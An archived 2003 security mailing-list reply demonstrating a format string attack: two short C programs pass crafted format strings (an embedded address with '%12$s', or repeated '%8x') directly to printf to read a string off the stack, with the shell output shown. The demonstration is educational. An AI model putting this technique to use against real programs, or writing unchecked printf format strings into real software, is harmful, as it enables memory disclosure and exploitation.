Hosting Provided By

Re: Small buffer format string attack

From: dong-h0un U <xploit(at)hackermail.com>
Date: Thu Jun 12 2003 - 03:59:39 EDT

Here is the original Korean version of the previous article in case anyone is interested.. URL: http://x82.inetcop.org/h0me/lectur3/0x82-Small-format-kr.txt

And, the following is added contents.
(My answer about question)
--

All systems is different format string result. Therefore, `%8x', or must set by `$-flag'.

Did as following in my server, displayed very well.

int main()
{

	char string[]="It's test!";
	char format_str[]="\x34\x85\x04\x08%12$s\n"; // %12$s
	printf(format_str);

}

Result: --

bash-2.04$ ./test
It's test!
bash-2.04$

--

Or, as following,

int main()
{

        char string[]="It's test!";
        char format_str[]="\x60\x85\x04\x08%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%s\n";
        printf(format_str);

}

Result: --

bash-2.04$ ./test
4001663840016c50 d696910bffffb604000d758 29 8048580bffffb40 b 8048560bffffb70It's test!
bash-2.04$

Thank KF. :-D

Get your free email from http://www.hackermail.com

This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:40 EDT